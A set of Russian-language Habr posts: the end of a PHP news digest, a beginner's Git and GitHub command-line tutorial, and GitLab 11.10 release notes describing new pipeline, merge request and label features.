- [Compose your Applications](http://fabien.potencier.org/symfony4-compose-applications.html) — Перевод:  [Symfony Flex, как будет выглядеть ваше приложение с Symfony 4](https://habrahabr.ru/post/325658/)
- [Best Practices](http://fabien.potencier.org/symfony4-best-practices.html)
+ [gpslab/pagination-bundle](https://github.com/gpslab/pagination-bundle) — Простая библиотека для создания пагинации на базе фреймворка Symfony. Прислал [ghost404](https://habrahabr.ru/users/ghost404/).
+ [overblog/GraphQLBundle](https://github.com/overblog/graphqlbundle) — GraphQL для Symfony.
+ [Неделя Symfony #535 (27 марта — 2 апреля 2017)](http://symfony.com/blog/a-week-of-symfony-535-27-march-2-april-2017)
+ [Неделя Symfony #536 (3-9 апреля 2017)](http://symfony.com/blog/a-week-of-symfony-536-3-9-april-2017)
+  [Сети Петри с Symfony а-ля WorkFlow компонент](https://habrahabr.ru/post/325758/)
* ##### Yii
+ [phundament/app](https://github.com/phundament/app) — Шаблон докеризированного приложения на Yii 2.
+ [pgaultier/yii2-webpack](https://github.com/pgaultier/yii2-webpack) — Интеграция webpack для управления ресурсами Yii 2.
+ [Разработка на Yii 2: Создаем RESTful API](https://code.tutsplus.com/tutorials/programming-with-yii2-building-a-restful-api--cms-27513)
+ [Разработка на Yii 2: Используем Cron](https://code.tutsplus.com/tutorials/how-to-program-with-yii2-running-cron-services--cms-27508)
+ [Yii development notes #4](https://www.patreon.com/posts/8697345)
+ [Реализация репозитория для доменных сущностей](http://www.elisdn.ru/blog/106/domain-native-repository)
+ [Сервисный слой и контроллеры в Yii2](http://www.elisdn.ru/blog/105/services-and-controllers)
+ [Проектирование доменных сущностей и агрегатов](http://www.elisdn.ru/blog/104/domain-entities-modelling)
+ [YiiConf 2017](http://rmcreative.ru/blog/post/yiiconf-2017)
* ##### Laravel
+ [zeeshanu/opus](https://github.com/zeeshanu/opus/releases) — Вики-подобная система для документации.
+ [cloudcreativity/laravel-json-api](https://github.com/cloudcreativity/laravel-json-api) — Удобная реализация JSON API для Laravel, основана на [neomerx/json-api](https://github.com/neomerx/json-api). Прислал [dtroyan](https://habrahabr.ru/users/dtroyan/).
+ [themsaid/forge-sdk](https://github.com/themsaid/forge-sdk) — SDK для [Forge API](https://forge.laravel.com/api-documentation).
+ [Laravel: правильный путь (лучшие практики)](https://github.com/uonick/laravel-best-practices/blob/master/README-RU.md) — Прислал [uonick](https://habrahabr.ru/users/uonick/).
+ [Альтернативный процесс разработки пакетов Laravel](https://www.sitepoint.com/alternative-laravel-package-development-workflow/)
+ [Туториал](https://www.sitepoint.com/easily-add-social-logins-to-your-app-with-socialite/) по использованию [laravel/socialite](https://github.com/laravel/socialite)
+ [Laravel Frontend Presets](https://medium.com/@taylorotwell/laravel-frontend-presets-eca312958def) — В Laravel 5.5 будут реализованы шаблонные пресеты для React и Bootstrap в дополнение к Vue.
* ##### Zend
+ [О миграции проектов на Zend Expressive 2](https://blog.alejandrocelaya.com/2017/03/27/my-thoughts-after-migrating-some-projects-to-zend-expressive-2/)
+ [Неделя Zend Framework — 2017-04-06](http://tinyletter.com/mwopzend/letters/zend-framework-community-news-for-week-of-2017-04-06)
+ [Неделя Zend Framework — 2017-03-30](http://tinyletter.com/mwopzend/letters/zend-framework-community-news-for-week-of-2017-03-30)
* [PHP и неизменяемость: Часть 2](https://www.simonholywell.com/post/2017/04/php-and-immutability-part-two/) — [Часть 1](https://www.simonholywell.com/post/2017/03/php-and-immutability/).
* [Использование анонимных классов в качестве middleware](https://mwop.net/blog/2017-03-30-anonymous-class-middleware.html)
* [Слоистая архитектура в MVC-фреймворках и использование Active Record](https://www.toptal.com/php/maintain-slim-php-mvc-frameworks-with-a-layered-structure)
* [Генерирование игровой местности на ReactJS, PHP, и Websockets](https://www.sitepoint.com/procedurally-generated-game-terrain-reactjs-php-websockets/) — Продолжение серии [о создании игр на PHP и ReactJS](https://www.sitepoint.com/game-development-with-reactjs-and-php-how-compatible-are-they/).
* [Почему Doctrine умирает](https://www.tomasvotruba.cz/blog/2017/03/27/why-is-doctrine-dying/)
* [Докеризация PHP-проекта](https://blog.forma-pro.com/dockerize-any-php-project-a-pure-bash-script-38dd37baf710)
*  [PHP UK Conference 2017](https://www.youtube.com/playlist?list=PL_aPVo2HeGF-_djRi_UVWWLdkVpYQFnFm)
* [Что нового в pthreads v3](https://www.sitepoint.com/upgrading-pthreads-v2-v3-look/)
*  [Многопоточное программирование в PHP с помощью pthreads](http://phpprofi.ru/blogs/post/55)
*  [Типы данных в PHP и MySQL](http://phpprofi.ru/blogs/post/48)
*  [PHP: Хранение сессий в защищённых куках](https://habrahabr.ru/post/325452/)
*  [Всепротокольный бот на PHP за 10 минут, или как Microsoft Bot Framework и Azure Functions облегчают нам жизнь](https://habrahabr.ru/post/325130/)
*  [Запрещенные изменения в коде или продолжение истории ремонта одного крана](https://habrahabr.ru/post/325124/)
*  [Готовимся к собеседованию по PHP: Всё об итерации и немного про псевдотип «iterable»](https://habrahabr.ru/post/324934/)
### Занимательное
*  [Опрос. Какой php-фреймворк вы используете?](https://habrahabr.ru/post/325234/)
* [matthiasnoback/random-disaster-bundle](https://github.com/matthiasnoback/random-disaster-bundle) — Бандл будет бросать случайные исключения в проекте до назначенного дедлайна, чтобы при тестировании менеджеру казалось, что осталось еще много работы. А чем ближе к дедлайну тем меньше исключений.
* [Первоапрельский анонс Doctrine 4](http://www.doctrine-project.org/2017/04/01/announcing-doctrine-4.html)
Спасибо за внимание!
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку](https://habrahabr.ru/conversations/pronskiy/).
Вопросы и предложения пишите на [почту](mailto:roman@pronskiy.com) или в [твиттер](https://twitter.com/pronskiy).
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Быстрый поиск по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP-Дайджест № 105](https://habrahabr.ru/company/zfort/blog/324892/) | https://habr.com/ru/post/326036/ | null | ru | null |
# Git и Github. Простые рецепты
При разработке собственного проекта, рано или поздно, приходится задуматься о том, где хранить исходный код и как поддерживать работу с несколькими версиями. В случае работы на компанию, обычно это решается за вас и необходимо только поддерживать принятые правила. Есть несколько общеупотребимых систем контроля версий, и мы рассмотрим одну из самых популярных — это Git и сервис Github.
Система Git появилась, как средство управления исходными текстами в операционной системе Linux и завоевала множество поклонников в среде Open Source.
Сервис Github предоставляет хостинг (хранение) исходных текстов как на платной, так и на бесплатной основе. Это одна из крупнейших систем, которую любят Open Source пользователи. Основное отличие платной версии — это возможность создания частных репозиториев (хранилищ) исходных текстов и если вам скрывать нечего, то можете спокойно пользоваться бесплатной версией.
После того, как вы начали работу над проектом и написали какой-то работающий прототип, у вас появится желание сохранить результаты работы. Это так же может быть полезно в случае, если вы захотите продолжить работу на другом компьютере. Самое простое решение — это сохранить все на флешке. Этот вариант неплохо работает, но если есть подключение к интернету (а сейчас у кого его нет), то удобно воспользоваться системами Git/Github.
В этой статье будут описаны базовые сценарии использования систем Git/Github при работе над проектом в среде Linux с помощью командной строки. Все примеры проверялись на системе с Linux Ubuntu 14.04 и Git 1.9.1. Если вы пользуетесь другим дистрибутивом, то возможны отличия.
#### Создание локального репозитория
Предположим, что ваш проект находится в папке */home/user/project*. Перед тем, как сохранять исходники, можно посмотреть, нет ли временных файлов в папке с проектом и по возможности их удалить.
Для просмотра папки удобно воспользоваться командой *tree*, которая покажет не только содержимое каждой папки, но и древовидную структуру директорий.
Часто временные файлы содержат специфические суффиксы, по которым их легко обнаружить и в последствии удалить. Для поиска таких файлов можно воспользоваться командой *find*. В качестве примера посмотрим, как найти все файлы, которые генерируются компилятором Python и имеют расширение *.pyc*
Переходим в папку с проектом */home/user/project*:
```
cd /home/user/project
```
И показываем список файлов с расширением *.pyc*:
```
find . -name *.pyc
```
Эта команда выведет список всех файлов с расширением *.pyc* в текущей директории и в ее поддиректориях. Для удаления найденных файлов, достаточно добавить ключ *-delete* к этой команде:
```
find . -name *.pyc -delete
```
Очень рекомендуется не спешить и сразу ключ этот не добавлять. Первый раз вызвать команду для просмотра файлов и только убедившись, что в список не попало ничего полезного добавить ключ удаления.
Создадим локальный репозиторий в папке с проектом:
```
git init
```
После выполнения этой команды появится новая папка с именем *.git*. В ней будет несколько файлов и поддиректориев. На данный момент система управления версиями еще не видит наших файлов.
#### Добавление файлов в локальный репозиторий
Для добавления файлов используется команда:
```
git add readme
```
После выполнения команды, файл *readme* будет добавлен в систему управления версий (конечно если он уже был то этого в проекте). При добавлении файла генерируется хеш значение, которое выглядит примерно так:
```
9f2422325cef705b7682418d05a538d891bad5c8
```
Добавленные файлы хранятся в папке *.git/objects/xx/yyyyyyyy*, при этом первые 2 цифры хеша ипользуются для указания директории, а остальное хеш значение является именем файла. Наш добавленный файл будет находится здесь:
```
.git/objects/9f/2422325cef705b7682418d05a538d891bad5c8
```
Что легко увидеть с помощью команды:
```
ls .git/objects
```
Сам файл является архивом, который легко распаковать и вывести на экран, указав полное значение хеша.
```
git cat-file -p 9f2422325cef705b7682418d05a538d891bad5c8
```
Для того, чтобы добавить все файлы из текущей директории введите:
```
git add .
```
Если нужно добавить файлы из текущей директории и из всех поддиректориев, то используйте:
```
git add --all
```
Для того, чтобы в систему не попадали временные файлы, можно их занести в файл *.gitignore*, который нужно создать самостоятельно и разместить в корневом каталоге проекта (на том же уровне, что и *.git* директория).
Например, если в в файл *.gitignore* добавить следующую строчку *\*.pyc*, то все файлы с расширением *.pyc* не будут добавляться в репозиторий.
После добавления файлов, все изменения находятся в так называемой *staging* (или *cached*) *area*. Это некоторое временнное хранилище, которое используется для накопления изменений и из которого создаются собственно версии проектов (*commit*).
Для просмотра текущего состояния можно воспользоваться командой:
```
git status
```
После выполнения команды мы увидим, что в *stage area* находится наш файл:
```
new file: readme
```
Если вы продолжите вносить изменения в файл *readme*, то после вызова команды *git status* вы увидите две версии файла.
```
new file: readme
modified: readme
```
Чтобы добавить новые изменения достаточно повторить команду. Команда *git add* не только добавляет новые файлы, но и все изменения файлов, которые были добавлены ранее.
```
git add readme
```
Можно отменить добавления файла *readme* в *staging area* с помощью команды:
```
git rm --cached readme
```
После выполнения команды, файл *readme* отметится, как неизмененный системой.
#### Создание версии проекта
После того, как мы добавили нужные файлы в *staging area* мы можем создать версию проекта. С помощью команды:
```
git commit -m "comment"
```
Каждая новая версия сопровождается комментарием.
После коммита, мы сможем найти два новых объекта внутри *.git* репозитория.
```
.git/objects/9f/2422325cef705b7682418d05a538d891bad5c8
.git/objects/65/7ab4c07bd3914c7d66e4cb48fe57f5c3aa7026
.git/objects/da/c6721c3b75fcb3c9d87b18ba4cef2e15e0a3d3
```
Посмотрим, что внутри:
```
git cat-file -t 657ab4c07bd3914c7d66e4cb48fe57f5c3aa7026
```
Ключ *-t* показывает тип объекта. В результате мы видим:
```
commit
```
Для второго объекта:
```
git cat-file -t dac6721c3b75fcb3c9d87b18ba4cef2e15e0a3d3
```
Результат:
```
tree
```
Для самого первого файла:
```
git cat-file -t 9f2422325cef705b7682418d05a538d891bad5c8
```
Мы видим:
```
blob
```
Если мы будем дальше изучать содержимое этих файлов, то обнаружим древовидную структуру. От каждого коммита можно по ссылкам пройти по всем измененным файлам. Для практического применения это не очень нужно, но возможно так будет легче понять, что происходит при работе с системой Git.
Самую первую версию отменить нельзя. Ее можно только исправить. Если вы хотите добавить изменения в последнюю версию, то после выполнения команды *commit*, добавляете необходимые изменения и вызываете:
```
git commit -m "comment" --amend
```
Или так:
```
git commit --amend --no-edit
```
Ключ *--no-edit* нужен, чтобы не вводить заново комментарий.
Можно просмотреть изменения, которые вы внесли последним коммитом:
```
git show
```
Или так:
```
git show --name-only
```
Ключ *--name-only* нужен, чтобы показывать только имена измененный файлов. Без него по каждому измененнному файлу будет выдан список всех изменений.
Если вы продолжили работать и изменили только те файлы, которые были уже добавлены в систему командой *git add*, вы можете сделать коммит одной командой:
```
git commit -a -m "comment"
```
Для просмотра списка всех коммитов, воспользуйтесь командой:
```
git log
```
Или так:
```
git log --oneline
```
Ключ *--oneline* нужен, чтобы уменьшить количество информации выдаваемой на экран. С этим ключем каждый коммит показывается в одну строчку. Например:
```
2b82e80 update
657ab4c first
```
Для того, чтобы просмотреть изменения по конкретному коммиту, достаточно в команду *git show* добавить хеш значение коммита, которое можно получить с помощью предыдущей команды.
```
git show 657ab4c
```
Для отмены последнего коммита (кроме самого первого) можно воспользоваться следующей командой:
```
git reset HEAD~1
```
Для того чтобы удалить все файлы в папке, которые не относятся к проекту и не сохранены в репозитории, можно воспользоваться командой:
```
git clean -df
```
#### Создание репозитория на Github
До текущего момента мы работали с локальным репозиторием, который сохранялся в папке на компьютере. Если мы хотим иметь возможность сохранения проекта в интернете, создадим репозиторий на Github. Для начала нужно зарегистрироваться на сайте *github.com* под именем *myuser* (в вашем случае это может быть любое другое имя).
После регистрации нажимаем кнопочку *"+"* и вводим название репозитория. Выбираем тип *Public* (репозиторий всегда *Public* для бесплатной версии) и нажимаем *Create*.
В результате мы создали репозиторий на сайте Github. На экране мы увидим инструкцию, как соединить наш локальный репозиторий со вновь созданным. Часть команд нам уже знакома.
Добавляем удаленный репозиторий (по протоколу SSH) под именем *origin* (вместо *origin* можно использовать любое другое имя).
```
git remote add origin git@github.com:myuser/project.git
```
Можем просмотреть результат добавления с помощью команды:
```
git remote -v
```
Если все было правильно сделано, то увидим:
```
origin git@github.com:myuser/project.git (fetch)
origin git@github.com:myuser/project.git (push)
```
Для того, чтобы отменить регистрацию удаленного репозитария введите:
```
git remote rm origin
```
Это может понадобиться, если вы захотите поменять *SSH* доступ на *HTTPS*. После этого можно добавить его опять, например под именем *github* и протоколом *HTTPS*.
```
git remote add github https://github.com/myuser/project.git
```
Следующей командой вы занесете все изменения, которые были сделаны в локальном репозитории на Github.
```
git push -u github master
```
Ключ *-u* используется для того, чтобы установить связь между удаленным репозиторием *github* и вашей веткой *master*. Все дальнейшие изменения вы можете переносить на удаленный репозиторий упрощенной командой.
```
git push
```
#### Перенос репозитория на другой компьютер
После того, как репозиторий был создан на Github, его можно скопировать на любой другой компьютер. Для этого применяется команда:
```
git clone https://github.com/myuser/project.git
```
Результатом выполнения этой команды будет создание папки *project* в текущем каталоге. Эта папка также будет содержать локальный репозиторий (то есть папку *.git*).
Так же можно добавить название папки, в которой вы хотите разместить локальный репозиторий.
```
git clone https://github.com/myuser/project.git
```
#### Работа с одним репозиторием с разных компьютеров
С одним репозиторием с разных компьютеров может работать несколько разработчиков или вы сами, если например работаете над одним и тем же проектом дома и на работе.
Для получения обновлений с удаленного репозитория воспользуйтесь командой:
```
git pull
```
Если вы изменили ваши локальные файлы, то команда *git pull* выдаст ошибку. Если вы уверены, что хотите перезаписать локальные файлы, файлами из удаленного репозитория то выполните команды:
```
git fetch --all
git reset --hard github/master
```
Вместо *github* подставьте название вашего удаленного репозитория, которое вы зарегистрировали командой *git push -u*.
Как мы уже знаем, для того чтобы изменения выложить на удаленный репозиторий используется команда:
```
git push
```
В случае, если в удаленном репозитории лежат файлы с версией более новой, чем у вас в локальном, то команда *git push* выдаст ошибку. Если вы уверены, что хотите перезаписать файлы в удаленном репозитории несмотря на конфликт версий, то воспользуйтесь командой:
```
git push -f
```
Иногда возникает необходимость отложить ваши текущие изменения и поработать над файлами, которые находятся в удаленном репозитории. Для этого отложите текущие изменения командой:
```
git stash
```
После выполнения этой команды ваша локальная директория будет содержать файлы такие же, как и при последнем коммите. Вы можете загрузить новые файлы из удаленного репозитория командой *git pull* и после этого вернуть ваши изменения которые вы отложили командой:
```
git stash pop
```
#### Заключение
Мы рассмотрели базовые сценарии работы с системами Git и Github. Каждая приведенная выше команда имеет значительно больше ключей и соответственно возможностей. Постепенное их изучение даст вам возможность легко оберегать свои иходники и больше концентрироваться непосредственно на разработке. | https://habr.com/ru/post/273897/ | null | ru | null |
# GitLab 11.10
GitLab 11.10 с пайплайнами на панели управления, пайплайнами для объединенных результатов и предложениями по нескольким строкам в мердж-реквестах.
### Удобные сведения о работоспособности пайплайнов в разных проектах
GitLab продолжает увеличивать прозрачность жизненного цикла DevOps. В этом выпуске на [панель управления](https://docs.gitlab.com/ee/user/operations_dashboard/) добавлен обзор статуса пайплайнов.
Это удобно, даже если вы изучаете пайплайн одного проекта, но особенно полезно, если [проектов несколько](https://docs.gitlab.com/ee/ci/multi_project_pipelines.html), — а так обычно и бывает, если вы используете микросервисы и хотите запустить пайплайн для тестирования и поставки кода из разных репозиториев проектов. Теперь вы сразу видите работоспособность [пайплайнов на панели управления](https://about.gitlab.com/2019/04/22/gitlab-11-10-released/?fbclid=IwAR0TqKOE441DhK1k4ZhPIjtM75FXwZSNBV47gBYMhR-jOezFHc_tm1bYAYg#pipelines-on-the-operations-dashboard), где бы они ни выполнялись.
### Запуск пайплайнов для объединенных результатов
Со временем исходная и целевая ветки расходятся, и может возникнуть ситуация, когда по отдельности они справляются, а вместе не работают. Теперь можно [запустить пайплайны для объединенных результатов до мерджа](https://about.gitlab.com/2019/04/22/gitlab-11-10-released/?fbclid=IwAR0TqKOE441DhK1k4ZhPIjtM75FXwZSNBV47gBYMhR-jOezFHc_tm1bYAYg#pipelines-for-merged-results). Так вы быстро заметите ошибки, которые проявились бы только при частом перемещении изменений между ветками, а значит гораздо быстрее исправите ошибки пайплайна и будете эффективнее использовать [GitLab Runner](https://docs.gitlab.com/runner/).
### Дальнейшая оптимизация совместной работы
В GitLab 11.10 появилось еще больше возможностей для удобной совместной работы и упрощенных рабочих процессов. В [предыдущем выпуске](https://about.gitlab.com/2018/12/22/gitlab-11-6-released/#suggested-changes) мы ввели предложения по мердж-реквестам, когда рецензент мог предложить изменение одной строки в комментарии к мердж-реквесту, и его можно было сразу закоммитить прямо из треда комментариев. Нашим пользователям это понравилось, и они попросили расширить эту фичу. Теперь вы можете предлагать [изменения для нескольких строк](https://about.gitlab.com/2019/04/22/gitlab-11-10-released/?fbclid=IwAR0TqKOE441DhK1k4ZhPIjtM75FXwZSNBV47gBYMhR-jOezFHc_tm1bYAYg#suggest-changes-to-multiple-lines), указывая, какие строки удалить, а какие — добавить.
Спасибо за ваши отзывы и предложения!
### И это еще не все...
В этом выпуске столько потрясающих фич, например, [ярлыки в определенной области](https://about.gitlab.com/2019/04/22/gitlab-11-10-released/?fbclid=IwAR0TqKOE441DhK1k4ZhPIjtM75FXwZSNBV47gBYMhR-jOezFHc_tm1bYAYg#scoped-labels), более тщательная [очистка реестра контейнеров](https://about.gitlab.com/2019/04/22/gitlab-11-10-released/?fbclid=IwAR0TqKOE441DhK1k4ZhPIjtM75FXwZSNBV47gBYMhR-jOezFHc_tm1bYAYg#more-thorough-container-registry-cleanup), [компонуемый Auto DevOps](https://about.gitlab.com/2019/04/22/gitlab-11-10-released/?fbclid=IwAR0TqKOE441DhK1k4ZhPIjtM75FXwZSNBV47gBYMhR-jOezFHc_tm1bYAYg#composable-auto-devops) и возможность [покупать дополнительные минуты CI Runner](https://about.gitlab.com/2019/04/22/gitlab-11-10-released/?fbclid=IwAR0TqKOE441DhK1k4ZhPIjtM75FXwZSNBV47gBYMhR-jOezFHc_tm1bYAYg#purchase-add-on-ci-runner-minutes). Ниже подробности о каждой из них.
> Самый ценный сотрудник этого месяца ([MVP](https://about.gitlab.com/community/mvp/)) — Такуя Ногути
>
>
>
> В этом месяце самым ценным сотрудником стал Такуя Ногути ([Takuya Noguchi](https://gitlab.com/tnir)). Такуя [неплохо поработал во славу GitLab](https://gitlab.com/groups/gitlab-org/-/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&milestone_title=11.10&author_username=tnir): исправлял баги, доделывал недоработки в бэкенде и фронтенде и улучшал пользовательский интерфейс. Спасибо!
Главные фичи GitLab 11.10
-------------------------
### Пайплайны на панели управления
**PREMIUM, ULTIMATE, SILVER, GOLD**
На панели управления в GitLab отображаются сведения о проектах на всем экземпляре GitLab. Вы добавляете отдельные проекты по одному и можете выбирать, какой проект вас интересует.
В этом выпуске мы добавили на панель управления информацию о статусах пайплайнов. Теперь разработчики видят работоспособность пайплайнов во всех нужных проектах — в одном интерфейсе.
[](https://habrastorage.org/webt/fc/ml/qq/fcmlqqfs3ee85mr1tcjd4b46cka.gif)
### Пайплайны для объединенных результатов
**PREMIUM, ULTIMATE, SILVER, GOLD**
Обычно со временем исходная ветка отклоняется от целевой, если вы постоянно не перемещаете между ними изменения. В результате пайплайны исходной и целевой веток «зеленые» и конфликтов мерджа не возникает, но при объединении происходит сбой из-за несовместимости изменений.
Когда пайплайн мердж-реквестов автоматически создает новую ссылку, которая содержит объединенный результат мерджа исходной и целевой веток, мы можем запустить пайплайн по этой ссылке и гарантировать, что общий результат будет рабочим.
Если вы используете пайплайны мердж-реквестов (в любом качестве) и задействуете частные GitLab-раннеры версии 11.8 или старше, их нужно обновить, чтобы не возникла проблема [gitlab-ee#11122](https://gitlab.com/gitlab-org/gitlab-ee/issues/11122). Это не влияет на пользователей общедоступных GitLab-раннеров.
[](https://habrastorage.org/webt/gf/my/th/gfmythfiwno_4zfu5she52nzfea.png)
### Предложение изменений в нескольких строках
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
При совместной работе над мердж-реквестами вы часто замечаете проблемы и предлагаете решения. С версии GitLab 11.6 мы поддерживаем [предложение изменений](https://about.gitlab.com/2018/12/22/gitlab-11-6-released/#suggested-changes) для одной строки.
В версии 11.10 в комментариях к диффу мердж-реквеста можно предлагать изменения для нескольких строк, а потом любой пользователь с разрешениями на запись в исходную ветку может принять их одним нажатием. Благодаря новой фиче можно избежать копипасты, как в предыдущих версиях.
[](https://habrastorage.org/webt/jx/wl/sl/jxwlslhikmuvl_ydtdlvomgg7yy.png)
### Ярлыки в одной области
**PREMIUM, ULTIMATE, SILVER, GOLD**
С ярлыками в одной области команды могут применять взаимоисключающие ярлыки (в одной и той же области) для задачи, мердж-реквеста или эпика в сценариях с кастомными полями или кастомными состояниями рабочего процесса. Они настраиваются с помощью специального синтаксиса с двоеточием в заголовке ярлыка.
Допустим, вам нужно кастомное поле в задачах, чтобы отслеживать операционную систему платформы, на которую нацелены ваши функции. Каждая задача должна относиться только к одной платформе. Можно создавать ярлыки `platform::iOS`, `platform::Android`, `platform::Linux` и другие по необходимости. Если применить один такой ярлык к задаче, автоматически удалится другой существующий ярлык, который начинается с `platform::`.
Допустим, у вас есть ярлыки `workflow::development`, `workflow::review` и `workflow::deployed`, обозначающие состояние рабочего процесса в вашей команде. Если у задачи уже есть ярлык `workflow::development`, а разработчик хочет перевести задачу на стадию `workflow::review`, он просто применяет новый ярлык, а старый (`workflow::development`) автоматически удаляется. Это поведение уже существует, когда вы перемещаете задачи между списками ярлыков на доске задач, которая представляет рабочий процесс вашей команды. Теперь члены команды, которые не работают с доской задач напрямую, могут изменить состояние рабочего процесса в самих задачах.
[](https://habrastorage.org/webt/dk/df/9b/dkdf9b-ra_otxkmtoop8ubgkiyo.png)
### Более тщательная очистка реестра контейнеров
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
При обычном использовании реестра контейнеров с CI-пайплайнами вы отправляете несколько отдельных изменений в один тег. Из-за реализации распределения Docker поведение по умолчанию — сохранить все изменения в системе, но в итоге они занимают много памяти. Если использовать параметр `-m` с `registry-garbage-collect`, можно быстро удалить все предыдущие изменения и освободить драгоценное место.
[](https://habrastorage.org/webt/pz/of/bp/pzofbpn74lqfiswqgtei4_li9ty.png)
### Покупка дополнительных минут CI Runner
**BRONZE, SILVER, GOLD**
Пользователи с платными планами GitLab.com (Gold, Silver, Bronze) теперь могут покупать дополнительные минуты CI Runner. Раньше нужно было укладываться в квоту, предусмотренную планом. Благодаря этому улучшению можно заранее покупать минуты сверх квоты, чтобы избежать перерывов в работе из-за остановки пайплайнов.
Сейчас 1000 минут стоят 8 долларов, и покупать их можно сколько угодно. Дополнительные минуты начнут расходоваться, когда вы потратите всю месячную квоту, а остаток дополнительных минут переносится на следующий месяц. В [будущем выпуске](https://gitlab.com/gitlab-org/gitlab-ee/issues/9919) мы хотим добавить эту фичу и в бесплатные планы.
[](https://habrastorage.org/webt/jw/m1/u-/jwm1u-_onqfbqansxgkr8hwhtwa.png)
### Компонуемый Auto DevOps
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
С Auto DevOps команды переходят на современные практики DevOps почти без усилий. Начиная с GitLab 11.10 каждый джоб в Auto DevOps предоставляется в виде [независимого шаблона](https://gitlab.com/gitlab-org/gitlab-ce/tree/master/lib/gitlab/ci/templates). Пользователи могут использовать [`функцию includes`](https://docs.gitlab.com/ee/ci/yaml/#nested-includes) в GitLab CI, чтобы включать отдельные стадии Auto DevOps и при этом использовать свой кастомный файл `gitlab-ci.yml`. Таким образом можно включать только нужные джобы и пользоваться преимуществами обновлений в upstream.
[](https://habrastorage.org/webt/hg/cg/dc/hgcgdcsata68nwklevxsvy_vh3w.png)
### Автоматическое управление группами на GitLab.com с помощью SCIM
**SILVER, GOLD**
Раньше управлять группами на GitLab.com приходилось вручную. Теперь можно использовать SAML SSO и управлять группами с помощью SCIM, чтобы создавать, удалять и обновлять пользователей на GitLab.com.
Это особенно полезно для компаний с большим количеством пользователей и централизованными поставщиками удостоверений. Теперь у вас может быть единый источник истины, например Azure Active Directory, и пользователи будут создаваться и удаляться автоматически через поставщика удостоверений, а не вручную.
[](https://habrastorage.org/webt/mf/_n/h6/mf_nh6bik9t3ncfinoysvwjcrwi.png)
### Вход на GitLab.com через поставщика SAML
**SILVER, GOLD**
Раньше при использовании SAML SSO для групп пользователь должен был входить с учетными данными GitLab и поставщиком удостоверений. Теперь можно напрямую входить через SSO как пользователь GitLab, привязанный к настроенной группе.
Пользователям не придется дважды выполнять вход, поэтому компаниям удобнее использовать SAML SSO для GitLab.com.
[](https://habrastorage.org/webt/yi/1h/za/yi1hza74jbrcevtyhvziuduys2y.png)
Другие улучшения в GitLab 11.10
-------------------------------
### Схема дочерних эпиков
**ULTIMATE, GOLD**
В предыдущем выпуске мы добавили дочерние эпики (эпики эпиков), чтобы вам было удобнее управлять структурой распределения заданий. Дочерние эпики отображаются на странице родительского эпика.
В этом выпуске на странице родительского эпика отображается схема дочерних эпиков, поэтому команды видят хронологию дочерних эпиков и могут управлять временными зависимостями.
[](https://habrastorage.org/webt/cg/nx/4j/cgnx4juraka6e_3d_rwtaa2rhsc.png)
### Всплывающие экраны мердж-реквестов
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
В этом выпуске мы представляем информативные экраны, всплывающие при наведении курсора на ссылку мердж-реквеста. Раньше мы показывали только заголовок мердж-реквеста, а теперь еще и статус мердж-реквеста, статус CI-пайплайна и короткий URL.
В будущих выпусках мы планируем добавить больше важных сведений, например, [ответственные лица и контрольные точки](https://gitlab.com/gitlab-org/gitlab-ce/issues/59194), а еще введем всплывающие экраны для [задач](https://gitlab.com/gitlab-org/gitlab-ce/issues/54915).
[](https://habrastorage.org/webt/cs/is/ar/csisarm6futmstd3mry9aeyt3ck.png)
### Фильтрация мердж-реквестов по целевым веткам
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
Рабочие процессы Git для выпуска или поставки ПО часто связаны с несколькими долгосрочными ветками — для внесения исправлений в предыдущие версии (например, `stable-11-9`) или перехода от проверки качества к производству (например, `integration`), но не так-то просто найти мердж-реквесты для этих веток среди множества открытых мердж-реквестов.
Список мердж-реквестов для проектов и групп теперь можно фильтровать по целевой ветке мердж-реквеста, чтобы было проще находить нужный.
Спасибо, Хироюки Сато ([Hiroyuki Sato](https://gitlab.com/hiroponz))!
[](https://habrastorage.org/webt/5n/f6/rg/5nf6rgxwtal7h0nf_ctswpxgdry.png)
### Отправка и мердж при успешном пайплайне
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
Если мы используем метод разработки Trunk-based development, мы должны избегать долгоживущих веток в пользу небольших временных веток с одним владельцем. Мелкие изменения часто отправляются прямо в целевую ветку, но при этом мы рискуем нарушить сборку.
В этом выпуске GitLab поддерживает новые параметры отправки в Git, чтобы автоматически открывать мердж-реквесты, задавать целевую ветку и обеспечить мердж при успешном пайплайне из командой строки во время отправки в ветку.
[](https://habrastorage.org/webt/ad/tx/8j/adtx8jgrr15uzgaag6doe1m3_go.png)
### Улучшенная интеграция с внешними панелями мониторинга
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
GitLab может обращаться к нескольким серверам Prometheus (на уровне среды, проекта и [группы (ожидается)](https://gitlab.com/gitlab-org/gitlab-ce/issues/51963)), но наличие нескольких конечных точек может усложнять систему или не поддерживаться стандартными панелями мониторинга. В этом выпуске команды могут использовать один API Prometheus, что значительно упрощает интеграцию с такими сервисами, как Grafana.
### Сортировка Wiki-страниц по дате создания
**CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD**
В Wiki проекта команды могут делиться документацией и другой важной информацией наряду с исходным кодом и задачами. В этом выпуске список страниц в Wiki можно сортировать по дате создания и заголовку, чтобы быстро находить недавно созданное содержимое.
[](https://habrastorage.org/webt/co/6c/6m/co6c6m4oc2poa-x30p7b0hg-oyg.png)
### Мониторинг ресурсов, запрошенных кластером
**ULTIMATE, GOLD**
GitLab помогает мониторить кластер Kubernetes для разрабатываемых и рабочих приложений. Начиная с этого выпуска отслеживайте запрошенные кластером ресурсы процессора и память, чтобы заметить потенциальные сложности, пока они не стали проблемами.
[](https://habrastorage.org/webt/yb/yq/vi/ybyqvi4vbqmjs_be7hjp8wj3ppm.png)
### Просмотр метрик балансировщика нагрузки на панели мониторинга Grafana
**CORE, STARTER, PREMIUM, ULTIMATE**
